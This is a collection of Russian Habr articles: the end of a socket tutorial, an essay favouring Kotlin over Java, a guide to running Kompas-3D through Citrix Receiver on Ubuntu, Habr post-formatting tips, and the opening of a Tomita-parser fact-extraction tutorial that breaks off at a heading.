Во втором терминале вводим
```
>>> protocol.send(sock, "Hello, localhost!")
```
Этой строчкой мы отправляем сообщение серверу, используя наш мини-протокол.
В этот момент мы отправляем серверу пакет со следующим содержанием (исключая заголовки):
`00:00:00:11:48:65:6c:6c:6f:2c:20:6c:6f:63:61:6c:68:6f:73:74:21`
*00:00:00:11* — **0x11**, или **17** в десятичной системе счисления, — длина переданного сообщения (не данных, а именно сообщения, так как данные, в данном случае, — это 4 байта длины + сообщение).
*48:65:6c:6c:6f:2c:20:6c:6f:63:61:6c:68:6f:73:74:21* — переданная строка **Hello, localhost!**
Сервер отвечает нам другим пакетом, подтверждая получение.
И наконец читаем и декодируем сообщение в первом терминале, клиенте:
```
>>> protocol.recv(conn)
```
Можно разорвать соединение, введя во втором терминале
```
>>> sock.close()
```
Клиент посылает серверу пакет с установленным битом **fin**, говоря о том, что у него больше нет данных для передачи и он хочет разорвать соединение. В ответ сервер так же отправляет пакет с битом *fin = 1*.
Эта же команда в первом терминале остановит работу сервера и он перестанет слушать.
##### Заключение
После всего проделанного мы можем легко передавать сообщения между клиентским и серверным приложениями. Изменения не сильно отличаются, так что я не стал приводить листинги кода в статье, а выложил проект на [GitHub](https://github.com/SemperPeritus/httrack-deamon). В следующей статье я расскажу про безопасность. Если вам интересно что-то ещё, о чём вы хотели бы услышать в следующих статьях, то пишите об этом в комментариях. | https://habr.com/ru/post/269019/ | null | ru | null |
# Практическое применение Kotlin в стартапах и энтерпрайзе
**Disclaimer:** Я не имею никакого отношения к JetBrains, не получаю денег от продвижения Kotlin или от написания данной статьи. Весь материал — это лишь отражение моего личного опыта.
Выбор того или иного языка (и вообще любого инструмента) как правило продиктован как объективными, так и субъективными факторами. В каждом проекте могут быть свои особенности, влияющие на выбор. Я далек от того, чтоб устраивать очередной холивар на тему какой язык круче — языков много и у каждого своя ниша. Однако, на мой взгляд выбор между Kotlin и Java более определенный, поскольку Kotlin покрывает все возможности Java и добавляет много дополнительного функционала и сахара.
Исторически сложилось, что Java занял огромную часть рынка корпоративной разработки. Команды, начинающие новые проекты как в стартапах, так и в энтерпрайзе, по инерции в большинстве случаев выбирают в качестве основного языка именно Java. На мой взгляд, на сегодняшний день это является ошибкой, которая приводит лишь к увеличению стоимости разработки и дальнейшей поддержки кода.
В этой публикации я собираюсь объяснить свою позицию, а заодно опишу некоторые особенности перехода с Java на Kotlin как в условиях стартапа, так и в условиях крупного энтерпрайз-проекта.
Kotlin против Java
------------------
Можно было бы привести список из десятков-сотен преимуществ языковых конструкций в Kotlin против таких же конструкций в Java, но основной выигрыш от применения языка находится гораздо глубже.
На мой взгляд, Java зародилась как мощный ответ прежде всего C++. Поэтому в ней чувствуется сильное его влияние со всеми его недостатками. Проблема в том, что за 25 лет существования Java, она продемонстрировала значительную консервативность по сравнению с другими языками. В то время как множество языков экспериментировали с ключевыми словами типа `async`, с пунктуацией языка (точки с запятой, скобки и пр.), Oracle хранила исключительную верность "традиционным принципам", что привело лишь к моральному устареванию самого языка.
Печально то, что разрыв лишь нарастает, несмотря на попытки его сократить со стороны Oracle. Например, дата-классы в Kotlin появились в самых ранних версиях, а некий их аналог в Java появился лишь в 14 версии, полагаю, как раз под давлением конкуренции с JetBrains.
Kotlin, напротив, стремился вобрать в себя все самые передовые практики от всех других языков разработки, при этом поддерживая интероперабельность с Java. Поэтому, сравнивая Java и Kotlin, мне приходит на ум аналогия со старым добрым и надежным паровозом с его чугунными поршнями (Java) и автомобилем с его персональной аудиосистемой, противоугонкой, хромированными ручками дверей и прочими "наворотами" (Kotlin).
Если вам в вашем проекте требуется "возить лес в Сибири" вдали от селений и с полным отсутствием бензина, то, вероятно, паровоз вам действительно подойдет лучше. Но большинство проектов все же находятся не в столь экзотических условиях. Поэтому тот факт, что на Kotlin проект получается раза в 2-3 компактнее, более легкочитаемый, более надежный в плане защиты от `NullPointerException`, должен стать серьезным аргументом. Именно эти особенности и позволяют Kotlin снижать в 2 раза время разработки и количество багов, а в итоге, стоимость создания и владения программным продуктом.
Я лишь вкратце перечислю те преимущества, которые Kotlin предлагает из коробки, но которые с трудом достигаются в традиционном Java.
1. Множество элементов, сокращающих бойлерплейт: data class, getters&setters — в разы сокращает количество кода.
2. Более продуманная и юзабельная структура классов: вместо HashMap, например, Map (иммутабельный) и MutableMap (мутабельный) — позволяет с легкостью входить в язык новичкам и концентрироваться на бизнесовой постановке, а не на способах реализации.
3. Прямо из коробки идут различные защиты, например от `null`:
```
var str: String = ""
str = null // Здесь будет ошибка компиляции, а не runtime
var nullableStr: String? = null // а так можно
```
— что приводит к значительным сокращениям ошибок в программах и снижению стоимости поддержки.
4. На уровне языка идет поддержка асинхронных операций, которые существуют в Python и JS ES6 — приводит к упрощению работы с асинхронными и многопоточными операциями по сравнению с Java.
5. Kotlin Multiplatform — возможность компиляции программ на Kotlin одновременно для JVM, JS, Native (C/C++, Object C) — допускает снижение дублирования кода, более легкую интеграцию с фронтендами и более оптимальную разработку в архитектуре Serverless.
6. Domain Specific Language (DSL) — дает компактную и легкочитаемую замену билдерам.
Проблемы перехода на Kotlin
---------------------------
При обсуждении проекта с командами, возникают одни и те же вопросы по внедрению Kotlin. Давайте пройдемся по ним.
### Где взять Kotlin разработчиков?
Kotlin хоть и относительно новый язык, но он уже завоевал значительную нишу. Специалистов, знакомых с Kotlin достаточно много на рынке. Сильно способствует этому то, что для Android Kotlin стал основным языком разработки.
В любом случае, любой разработчик, знакомый с Java, вполне успешно и быстро переходит на Kotlin (см. следующий вопрос).
### Сколько нужно времени для подготовки разработчиков?
Kotlin разрабатывался на базе Java и совместим с ним на 100%. Поэтому для перехода на него не обязательно проходить какие-то специализированные курсы. Начать разрабатывать на Kotlin можно с первого дня. Базовых отличий не так много между языками. Например, `if` работает и там, и там практически одинаково, дополнительно в Kotlin его можно использовать в виде выражения:
```
val x: Int = if (a == 1) 2 else 3
```
Существенные языковые несовместимости между языками, естественно, присутствуют, но они довольно быстро осваиваются и продуктивнее их прочитать на официальном сайте Kotlin, чем слушать курс лекций.
Однако, надо понимать, что новичок будет пользоваться Котлином в стиле Java, т.е. без использования всех преимуществ языка. Для освоения практики использования Kotlin с его особенностями, безусловно требуется практический опыт. Значительно ускорить вход в язык помогает опытный разработчик, который может отревьюировать код и подсказать лучшие решения, либо практические курсы.
В любом случае, некоторая заминка в связи с переходом на новый язык, полностью покрывается значительным ускорением разработки на Kotlin.
### Как быть с легаси кодом?
Kotlin полностью интероперабелен с Java, что позволяет прямо в программе на Kotlin использовать код, написанный в Java. Также в саму Intellij Idea включен плагин, который на лету умеет конвертировать куски кода (либо весь файл) из Java в Kotlin. Надо понимать, что качество автоконвертации не сравнится с работой человека, но тем не менее, инструмент очень полезный.
Также Kotlin позволяет писать код одновременно на Java и Kotlin в одном модуле. Для этого можно настроить сборщик либо на расширения, либо на директории, разнеся их в `src/main/java` и `src/main/kotlin`. Тут опять нужно знать о нюансах: код из Java легко подхватывается в коде на Kotlin, но для обратной совместимости приходится прилагать определенные усилия. Например, по умолчанию в Kotlin вместо статических методов используются объекты-компаньоны и для экспорта в Java требуется применить аннотацию `@JvmStatic`.
Начинающие разработчики на Kotlin бывает совершают ошибку, дублируя библиотеку для Java и для Kotlin. Поддерживать две версии библиотеки будет неэффективно, поэтому рекомендую либо просто продолжать ее разработку на Java и просто импортировать в Kotlin, а еще лучше сразу конвертировать ее в Kotlin и обеспечить совместимость с легаси семантикой.
### У нас стартап, зачем нам Kotlin?
Довольно часто для стартапов применяется даже не Java, а такие языки как PHP, Python, JavaScript (NodeJS). В каких-то случаях это может быть оправдано, но надо иметь в виду следующее. Перечисленные языки могут себя неплохо показать для прототипирования, но из-за отсутствия строгой типизации, они меньше подходят для долгосрочных, крупных проектов. Просто потому, что строгая типизация позволяет избегать множества ошибок на этапе даже не компиляции, а на этапе написания кода в IDE. Ошибки, допущенные из-за отсутствия проверки типов, выливаются в простои в боевом режиме, приводя к убыткам. Поэтому вам нужно тщательно взвесить все выгоды от быстрой разработки на языках без строгой типизации и убытки от их применения в продуктовом режиме.
Довольно часто бытует мнение, что первую продажу можно сделать на каком-нибудь PHP, а затем мигрировать на Java/Kotlin. Мой опыт говорит, что сделать первую продажу можно вообще без кода хоть на PHP, хоть на Kotlin. Но времени для перехода с одного языка на другой на практике никто не даст при развитии стартапа. Каждый день будут задачи, которые нужно сделать вчера.
Безусловно, на любом языке можно написать плохо. Но PHP, Python, JS дают гораздо больше возможностей для низкокачественного кода, чем Java/Scala/Kotlin. И чем хуже изначально написанный код, тем хуже он поддерживается дальше, приводя к еще большим костылям. Я сталкивался со стартапом, который стартовал нормально, но за 7 лет своей работы получил совершенно нечитаемый и неподдерживаемый код на Python. Ситуация оказалась патовой: его нельзя было просто так закрыть из-за наличия обязательств, и нельзя было продолжить развивать из-за необходимости полностью переписать проект, на что бюджета уже не было.
Поэтому моя рекомендация для долгосрочных и потенциально крупных проектов — использовать Kotlin. Ускорение выхода на рынок можно реализовать не снижением качества разработки, а другими подходами типа правильного выбора MVP, гибкой архитектурой и сокращением расходов на техподдержку при качественно написанном коде.
Особенности разработки на Kotlin
--------------------------------
Как я уже отмечал выше, применение Kotlin в реальных проектах может существенно отличаться от применения Java, благодаря тем дополнительным средствам, которые он предоставляет. Особенности эти, в итоге влияют в том числе и на общую архитектуру проекта. Поскольку особенностей много, я лишь для примера приведу несколько.
### Ненулевые переменные и свойства класса
Kotlin предоставляет мощнейший элемент защиты от `null`. Приводит это к тому, что работать с `nullable` переменными просто неудобно — их ведь нужно всегда проверять на `null`. Хоть такая проверка выполняется очень просто в Kotlin, хочется избегать ее чрезмерного использования. Достигается это тем, что при создании большинства классов я определяю пустой элемент:
```
data class SomeClass(
var x: String = "",
var y: Int = -1
) {
companion object {
val NONE = SomeClass()
}
}
```
, который и используется при инициализации в качестве значения по умолчанию вместо `null`.
Существует множество случаев, когда нам просто необходимо делать свойства нулевыми. Например, в API или в хранилище мы не можем быть уверенными, что нам придет всегда `non-nullable` значение. Как раз здесь и играет свою роль DDD (domain driven design). Мы для отправки данных или для сохранения делаем отдельные DTO-классы, которые содержат в себе нулевые поля, а в рабочие модели мы их мапим со всеми проверками:
```
data class StorableObject(
var id: String? = null,
var data: String? = null
) {
// Место размещения мапера зависит от задачи
constructor(wm: WorkModel): this(
id = wm.id.takeIf { it != -1 }?.toString(),
data = wm.data.takeIf { it.isNotBlank() }
)
// Место размещения мапера зависит от задачи
fun toWorkModel(): WorkModel = WorkModel(
id = id?.toInt() ?: -1,
data = data ?: ""
)
}
```
Таким образом, простое использование Null-safety в Kotlin стимулирует нас применять практику DDD, что в свою очередь делает наш код более гибким, защищенным от изменений API или внутренней логики.
### Kotlin Multiplatform (KMP)
KMP — это довольно мощное средство и его стоит использовать в проектах при интеграции с JS и Native компонентами системы. На практике, KMP вполне неплохо себя показывает при описании API для потребления Single Page Application (SPI) типа React, Angular, Vue, а также мобильными приложениями под Android и iOS.
Но лично я предпочитаю разрабатывать фронтенд на Dart/Flutter, а с этим фреймворком простой интеграции через KMP пока не существует. Интеграцию между бэкендом на Kotlin и фронтендом на Dart можно реализовать с использованием OpenAPI, AsyncAPI, gRPC и других кодогенераторов.
На бэкенде KMP может быть применен, например, при использовании Serverless архитектуры, в том числе Google Cloud Functions, Yandex Cloud Functions, AWS Lambda и др. аналогов. Особенность бессерверных архитектур в том, что в них важна скорость старта приложения. Поэтому код на Python или NodeJs может показывать гораздо более низкое время отклика, чем на JVM. Использование KMP позволяет компилировать код в JavaScript или в Native executable, что вполне решает проблему быстрого старта.
### Недостатки Kotlin
Наверное есть какие-то недостатки более бытового характера. Но для меня самым существенным недостатком является отсутствие фронтенд-фреймворка для Kotlin. Ktor, при всех его преимуществах, не достиг уровня фронтенд-фреймворка. Я как-то видел набор в Jetbrains фронт-разработчиков и думаю, что вскорости такой фреймворк будет анонсирован. Однако, на сегодняшний день на фронтенде я предпочитаю использовать Google Flutter, который использует язык Dart. Возможно для кого-то окажется более приемлемым переход на Dart как на фронтенде, так и на бэкенде вместо Котлина.
Заключение
----------
В заключении хочу кратко суммировать основные утверждения настоящей статьи.
1. Kotlin — это действительно мощный инструмент, который превосходит классическую Java по многим параметрам. Поэтому я ожидаю, что в ближайшие 5 -10 лет произойдет существенное вытеснение им последней с рынка.
2. Перевод реальных проектов на Kotlin не создает непреодолимых препятствий, наоборот, его уместно осуществлять на легаси-проектах, так и новых; как в корпорациях, так и в стартапах.
3. При том, что переход на Kotlin довольно прост, недостаточный опыт чреват Java-стилем, что неэффективно. Для более полноценного использования этого инструмента, рекомендую получение опыта, привлечение экспертов, либо прохождение практических курсов разработчиками.
4. Использование Kotlin может заметно влиять на архитектуру проекта, делать ее более стройной, а также позволяет применять техники, которые неприменимы в Java, в частности Kotlin Multiplatform.
5. Пока не существует достаточно мощного фронтенд-фреймворка на Kotlin. Кто-то может предпочесть Котлину Dart, который можно использовать одновременно на всех платформах как на фронтенде, так и на бэкенде. | https://habr.com/ru/post/506548/ | null | ru | null |
# 3D CAD из облака на Linux
 В последнее время на Хабр появилось несколько статей про Системы Автоматизированного Проектирования (САПР), главным образом речь шла об CAD системах, предназначенных для автоматизации двумерного и/или трехмерного геометрического проектирования, создания конструкторской и/или технологической документации. Данные статьи собрали не так много комментариев, как, например, повествования о Linux, различных iOS или Android устройствах или облачных сервисах с SAAS моделью. А что если замешать из всего этого этакий коктейль? Приступим.
Один из отечественных САПР вендоров уже приготовил этот коктейль. Нам же осталось его только попробовать. В данной статье будет описано, как настроить и запустить облачный Компас-3D в операционной системе Ubuntu. Однако если под ОС Windows все просто, в настройке под Linux есть нюансы. О них и пойдет речь дальше.
Первым делом нужно посетить сайт проекта по адресу <http://cloud4business.com> и пройти регистрацию. Да, опять длинная анкета, в которой только и не хватает ксерокопии паспорта и отпечатка пальца. Но мы не унываем. Самое главное указать реальный адрес электронной почты, на который отправят письмо для подтверждения.
Итак. Письмо получено, регистрация подтверждена. Логинимся на сайте. Переходим в раздел [Каталог решений -> Демонстрационные решения -> Компас-3D](http://cloud4business.com/solutions/eval/162/636/). Нажимаем на кнопку “Получить демонстрационный доступ”.
На эл. почту, указанную при регистрации, будет отправлена пара логин/пароль для доступа к продукту сроком на 15 дней.
Поскольку данный сервис построен на технологии **Citrix XenApp**, которая позволяет осуществлять виртуализацию приложения и доставки этого приложения как сервис на клиентское устройство, нам необходимо установить клиент **Citrix Receiver**. К слову, данный клиент также доступен для iPhone, iPad, Android и Windows. В сети можно найти пример запуска Компас-3D на iPad. А ведь это серьезная ресурсоемкая система 3D моделирования. Тем более полноценные 3D CAD системы для ОС, отличных от Windows, на сегодняшний день — редкость. Нам же необходим клиент под Linux. Скачать его можно по следующей ссылке <http://www.citrix.com/English/SS/downloads/details.asp?downloadID=3323&productID=-1>
Находим .deb пакет и нажимаем кнопку Download. Отмемаем радиокнопку “Открыть в Установщик пакетов GDebi (по умолчанию)” и нажмите ОК. Устанавливаем программу.
##### Проверка установленного клиента
1. Проверяем то, что инсталятор создал:
* Кнопку запуска Приложения -> Интернет -> Citrix Receiver
* Исполняемый файл /usr/lib/ICAClient/wfcmgr
Пробуем запустить клиент Citrix Receiver. Если запуск прошел без ошибок и появилось окно как на рисунке, то можно смело пропустить пункт номер 2.
2. В случае неудачного запуска проверяем наличие необходимых библиотек. Пишем в консоли:
`CLIENT_EXEC="/usr/lib/ICAClient/wfcmgr"
ldd ${CLIENT_EXEC}`
С большой вероятностью результат будет следующим:
`inux-gate.so.1 => (0xf77a3000)
libXm.so.4 => not found
libXp.so.6 => /usr/lib32/libXp.so.6 (0xf777f000)
libXpm.so.4 => /usr/lib32/libXpm.so.4 (0xf776c000)
libSM.so.6 => /usr/lib32/libSM.so.6 (0xf7763000)
libICE.so.6 => /usr/lib32/libICE.so.6 (0xf7748000)
libXmu.so.6 => /usr/lib32/libXmu.so.6 (0xf772f000)
libdl.so.2 => /lib32/libdl.so.2 (0xf772b000)
libpthread.so.0 => /lib32/libpthread.so.0 (0xf7712000)
libc.so.6 => /lib32/libc.so.6 (0xf75cd000)
libXt.so.6 => /usr/lib32/libXt.so.6 (0xf757a000)
libX11.so.6 => /usr/lib32/libX11.so.6 (0xf744b000)
libXext.so.6 => /usr/lib32/libXext.so.6 (0xf743b000)
libXau.so.6 => /usr/lib32/libXau.so.6 (0xf7437000)
libuuid.so.1 => /lib32/libuuid.so.1 (0xf7431000)
/lib/ld-linux.so.2 (0xf77a4000)
libxcb.so.1 => /usr/lib32/libxcb.so.1 (0xf7413000)
libXdmcp.so.6 => /usr/lib32/libXdmcp.so.6 (0xf740e000)`
Обратите внимание на *libXm.so.4 => not found*. Это означает, что нужно установить недостающие библиотеки. Сначала набираем в консоли:
`sudo aptitude install libmotif3`
Этой командой мы установим библиотеку элементов интерфейса [Motif](http://ru.wikipedia.org/wiki/Motif).
Выводим список файлов:
`ls -al /usr/lib/libXm.so*`
Если самая последняя версия библиотеки из списка это *libXm.so.3.0.2*, тогда создаем мягкую ссылку между файлами с помощью следующей команды:
`sudo ln -s /usr/lib/libXm.so.3.0.2 /usr/lib/libXm.so.4`
Теперь запустим клиент через консоль `/usr/lib/ICAClient/wfcmgr`
или панель с приложениями. После удачно запуска закроем окно и перейдем к следующему этапу.
##### Установка корневого сертификата GeoTrust Global CA
Скачать можно по ссылке <http://www.geotrust.com/resources/root-certificates/>
Находим раздел **Root 2 — GeoTrust Global CA**
Нажимаем правой кнопкой мышки на ссылке
*Download — GeoTrust Global CA (Base-64 encoded X.509)*, выбрав *“Сохранить объект как”* и сохраняем сертификат в
`/usr/lib/ICAClient/keystore/cacerts`.
##### Запуск Компас-3D
Ну вот наконец все предворительные настройки произведины и мы приступаем к непосредственному тестированию облачной САПР.
Для доступа к приложениям используйте ссылку *“Демонстрационный доступ”* на странице: <http://cloud4business.com/clients/personal/solutions/>
Вводим учетные данные, полученные по эл почте ранее.
Заходим в каталог “Аскон”
Запускаем приложение
Получаем лицензию Сервис -> Получить лицензию на КОМПАС-3D
Теперь можно приступать к моделированию, попутно оценив все преимущества и недостатки такого решения.
[](http://habrastorage.org/storage/habraeffect/86/0e/860e80d50a4874a2e9098017dd415856.png)
PS: Все действия производились в браузере Firefox. В Google Chrome не заработало.
Для того, чтобы в Компасе корректно работала средняя кнопка мыши (колесо), необходимая для вращения детали, необходимо изменить значение
*MouseSendsControlV=False* в файле *$HOME/.ICAClient/wfclient.ini* | https://habr.com/ru/post/117133/ | null | ru | null |
# Памятка по базовой верстке статьи для Хабра без использования Markdown-разметки
На Хабре, по меркам старожилов, я совсем недавно, всего два года, но пишу активно, по возможности каждый день. Так вот, читая статьи, да и просто прокручивая ленту свежих публикаций как на Хабре, так и на GT, я понял, что многие просто не могут совладать с версткой текста и, как следствие, достаточно часто годные публикации хоронятся их же авторами из-за нечитабельности текста. Или отпугивает кривая КДПВ, или еще что произойдет.
Возможно, для опытных авторов пост покажется капитанским, мелочным, или еще каким, ведь главное содержание, но тем, кто хочет пройти песочницу и влиться в Хабра-сообщество, я уверен, он поможет не только написать что-то полезное, но и красиво свой труд преподнести.
#### Картинка Для Привлечения Внимания и выравнивание по левому краю
Так уж сложилось, что вся лента Хабрахабра выровнена по левому краю. По этой причине опытные авторы небольшие изображения оставляют слева или используют картинки шириной в **800-1000 px**. Отдельно хочется заметить, что чуть ли не лучшим является соотношение КДПВ **2 к 1, т.е. изображения 800х400 px**. Подобная пропорция позволяет SMM-щику соц. сетей не изгаляться с вашей картинкой (а то и вовсе искать что-то другое, более подходящее по размерам), а использовать оригинал, не нарушая задумки автора.
Даже если ваше изображение имеет меньшее соотношение сторон, например, 800х700, то постарайтесь уменьшить его высоту. Критическим порогом является 500-600px кроме исключительных случаев, когда КДПВ и в правду «тащит» или содержит полезную информацию (скриншоты интерфейса, например). Тут все достаточно прозаично: не у всех есть мониторы с разрешением 1920х1080 и, например, пользователь ноута с максимальным разрешением экрана в 1366х768 просто не оценит всех этих красот КДПВ размером 1000х1000. Но даже в случае, когда картинка несет полезную нагрузку в виде текста, например, можно сделать ее кликабельной, так всем будет проще.
Из-за того, что изображения редко бывают больше 500-800 пикселей в ширину, все стараются использовать выравнивание по левому краю. И вы старайтесь, сейчас объясню почему.
Когда пользователь скроллит ленту статей, его фокус внимания смещен в левую часть ленты, на начало заголовков, список хабов и кнопки для голосования. Если вы выносите картинку небольшого размера в центр, или, боже упаси, вправо, вы совершаете дешевый маркетинговый трюк «мы не такие как все и привлекаем внимание читателя через раздражающие факторы». На самом деле, такие приемы обычно заканчиваются для авторов печально.
Приведу пример опираясь на мою старую статью.
Правильное расположение КДПВ:
**Неправильное** расположение КДПВ:
**Очень неправильное** расположение КДПВ:
#### Обтекание текстом
Окей, с картинкой мы разобрались. 2 к 1, не шире 1000 px, выравнивание по левому краю. Но если картинка узкая, но подходящая к тексту? Что делать? Использовать обтекание, вестимо. Вот тут-то и было сломано уйма копий (таких, острых, с наконечниками) не одной сотней авторов. Совсем неопытные господа просто пытаются не переходить на другую строку и продолжать текст после кода вставки изображения, вот так:
Закономерно получая вот это:
Окей, нам нужно обтекание. Задается оно в классической хабра-верстке через `align="side"` внутри кода вставки:
`<img src="https://habrastorage.org/getpro/habr/post_images/832/8d3/0bd/8328d30bda5b014e848437e1eea3a654.jpg" alt="image" align="left"/>`
Используя такой код мы получаем:
Так, СТОП! А почему засосало еще один абзац, который у нас раньше был под катом? Он нам здесь не нужен, мы хотим только первое предложение! Для этого нам необходимо использовать `<br> <br clear="side"/>`, который очистит форму от применения `align="left"` там, где мы пожелаем. В форме редактирования текста код будет выглядеть вот так:
А после публикации мы получим вот это:
Если вы хотите, чтобы кнопка «ката» была не под картинкой, а сразу после текста, для которого вы прописали обтекание, сдвигайте `<br clear="side"/>` под `</cut>`:
**Не практикуйте обтекание текстом слева, а картинку справа.** Как я уже говорил, лента выровнена по левому краю. Если поставить картинку справа, вы, опять таки, используете раздражающий многих ход «не такие как все».
#### Установка Хабра-ката
Да, я выделил этот пункт отдельно, потому что очень многие не уделяют этому достаточно внимания. Где ставить кат — дело ваше. Вопрос в том, как именно вы это делаете.
Суть в том, что после публикации статьи cut отображается как пустая строка. Таким образом, код `<cut/>` должен быть зажат между абзацами текста, чтобы его цельность не была нарушена:
Правильно:
**Неправильно:**
Как видно на скриншоте выше, при пустой строке до или после `<cut/>` в итоговом варианте мы получаем двойную пустую строку, что не есть красиво и визуально «разрывает» текст.
#### Заголовки, списки, текст и все-все-все, что ищут методом проб и ошибок
Отдельно стоит обозначить верстку заголовков, списков и кода. Суть тут, опять же, в повышении читабельности текста за счет правильной расстановки пустых строк. К сожалению, для многих верстка статей ведет себя не очевидно.
Например, после текста заголовка, который вы вписали в `<h4> </h4>` пустая строка не нужна, т.к. она проставляется автоматом:
Если же вы поставите пустую строку в форме написания текста после заголовка, то у вас получится двойная пустая строка и у читателя будет создаваться впечатление, что заголовок больше относится к тексту над ним, чем под:
Также не совсем логично ведут себя и списки. Рассмотрим на примере.
* Пункт списка №1
* Пункт списка №2
* Пункт списка №3
* Пункт списка №4
* Пункт списка №5
Как видите, отступ в строку над и под списком в наличии, все красиво, первый пункт списка не сливается с текстом выше. Но при верстке все выглядит не так круто:
Многие чисто интуитивно убирают пустую строку сверху и добавляют ее после списка, получая:
В некоторых случаях сверстанный список «зажимают» между абзацами, но тогда пункты «подпирают» текст над собой, сливаясь с ним, что значительно снижает читабельность и восприятие написанного как перечисление чего-либо (а ведь в списках по пунктам перечислением обычно и занимаются).
Цитаты ведут себя точно по такому же принципу. При цитировании через blockquote создается автоматический отступ снизу, но не сверху:
> *Крутая цитата.*
>
>
*Комментарий автора к крутой цитате.*
Это же касается и кода:
```
Крутой код тут;
код;
еще код;
конец кода.
```
Комментарий к коду.
А выглядит на самом деле вот так:
В конце хотелось бы сказать, что оптимальная для понимания длина абзаца составляет 3-5 строк (проверить можно через предпросмотр статьи). При переводе англоязычных текстов приходится часто объединять несколько абзацев оригинала в один, так как многие зарубежные авторы имеют тягу к тезисному изложению по одному-два предложения, что превращается на Хабре в частокол из одиночных-двойных строк. Ну, а с остальным, я думаю, вы справитесь сами, так как красоты в виде цветного текста и, тем более цветных заголовков я не исповедую и вам не рекомендую.
Соблюдение рекомендаций, изложенных выше, позволит без особых извращений сделать ваш текст приятным для глаза и удобным для чтения.
Надеюсь, я написал хоть что-то полезное. Всем спасибо за внимание, Кэп полетел. | https://habr.com/ru/post/277577/ | null | ru | null |
# NLP: выделяем факты из текста с помощью Томита-парсера
NLP - natural language processing
Большая часть данных в мире не структурирована – это просто тексты на русском или на любом другом языке. Извлеченные факты из таких текстов могут представлять особый интерес для бизнеса, поэтому подобные задачи возникают сплошь и рядом. Этим вопросом занимается отдельное направление искусственного интеллекта: обработка естественного языка, тот самый NLP ([Natural Language Processing](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D0%B5%D1%81%D1%82%D0%B5%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE_%D1%8F%D0%B7%D1%8B%D0%BA%D0%B0)).
Существует много способов выделить факты из текста и у всех свои плюсы и минусы:
* Регулярные выражения
Высокая скорость работы и стабильность нивелируется сложностью синтаксиса и низким покрытием.
* Нейронные сети
Модно, хорошее качество при обучении на большой выборке, однако для работы требуется много разметки, при этом каждая новая задача требует новой разметки.
* КС-грамматики
Предсказуемость результата, легко писать правила, но сложно запускать в ПРОМе
В этой статье мы поговорим о последних, а именно о *Томита – парсере*, инструменте с открытым исходным кодом, разработанном в Яндексе, а также в рамках статьи, разберемся как это работает на конкретном примере. Итак, возьмем для примера абстрактные неструктурированные данные в виде наименований платежных поручений, и постараемся извлечь из них некоторые факты, например, назначение платежа, адрес и период:
Исходный текст
| |
| --- |
| Оплата за аренду торгового места №2 по адресу ул Маршала Жукова,15 за июнь 2020г., в сумме 5400,00 р |
| Перечисление денежных средств на Шустрик У.С. в субаренду автомобиля в сумме 15299,00 руб, без НДС |
| Оплата за найм общежития №575 по адресу пр Обуховской обороны, 145 от 17.09.2020 за февраль 2020 года, с ндс 18% — 5300 рублей. |
| Оплата за аренду нежилого помещения по адресу Малая Садовая ул, 23, договор 51 от 01.09.2020 — 7500 рублей. |
| Частичная оплата по Договору аренды №1-03а от 01.07.2020 за аренду помещения по проспекту Дальневосточный 211 в октябре 2020 Сумма 23000 в т.ч.НДС(18%) |
#### Что такое Томита-парсер?
Томита-парсер – это инструмент для извлечения структурированных данных (фактов) из русского текста, позволяющий создавать и быстро прототипировать систему извлечения фактов с помощью шаблонов ([контекстно-свободных грамматик](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%BD%D0%BE-%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D0%B0%D1%8F_%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) и словарей ключевых слов. Исходный код проекта открыт и размещен на [GitHub](https://github.com/yandex/tomita-parser/), собственно отсюда мы скачиваем проект и проводим сборку для дальнейшей работы.
#### Где можно использовать Томита-парсер?
* Обработка транзакций – аренда, покупка
* Обработка транскрипций звонков – выставление задач
* Новостной мониторинг – оценка состояния кредитующейся компании
* Парсинг текста резюме – автоматизация выделения навыка и опытов кандидата
* Парсинг текста судебных дел
#### Как работает Томита-парсер?
Томита-парсер распространяется в виде консольной утилиты, получает на вход текст на естественном языке и далее с помощью словарей и грамматик, составленных пользователем, преобразует этот текст в набор структурированных данных. Сразу отметим, что у Яндекса есть очень подробная [документация](https://github.com/yandex/tomita-parser/blob/master/docs/ru/README.md), а также [видеокурс](https://www.youtube.com/playlist?list=PLQC2_0cDcSKBEqlRyfrLJ7iG563hetbqv), который позволяет осуществить быстрый старт в Томитный мир.
Для запуска необходима сама программа tomitaparser.exe (рекомендации по сборке см. [здесь](https://github.com/yandex/tomita-parser/)) и следующие файлы:
* config.proto — конфигурационный файл парсера. Сообщает парсеру всю информацию о том, где искать все остальные файлы и как их интерпретировать. Этот файл обязательный и выступает в роли единственного аргумента для tomitaparser.exe;
* dic.gzt – корневой словарь. Содержит перечень всех используемых в проекте словарей и грамматик. Другими словами, это некий агрегатор, который собирает все, что создается в рамках проекта. Без этого файла парсер работать не будет;
* mygram.cxx – грамматика. Содержит набор правил, которые описывают текстовые цепочки. Таких файлов может быть несколько. Взаимодействует с парсером через корневой словарь;
* facttypes.proto – описание типов фактов;
* kwtypes.proto – описание типов ключевых слов. Нужен, если в проекте создаются новые типы ключевых слов.
Все эти файлы необходимо начинать с явного указания кодировки *utf8* везде, где планируется использовать кириллические символы (русский текст).
#### Корневой словарь
Начинаем с создания корневого словаря «*dic.gzt»*, где выполняем импорт служебных файлов и грамматики, которую мы создадим чуть позже.
```
encoding "utf8"; // явно указываем кодировку
// импортируем зашитые в парсер файлы с базовыми типами, используемыми в словарях и грамматиках
import "base.proto";
import "articles_base.proto";
// оставляем ссылку на нашу грамматику
TAuxDicArticle "payment" {
key = { "tomita:mygram.cxx" type=CUSTOM }
};
```
#### Грамматика
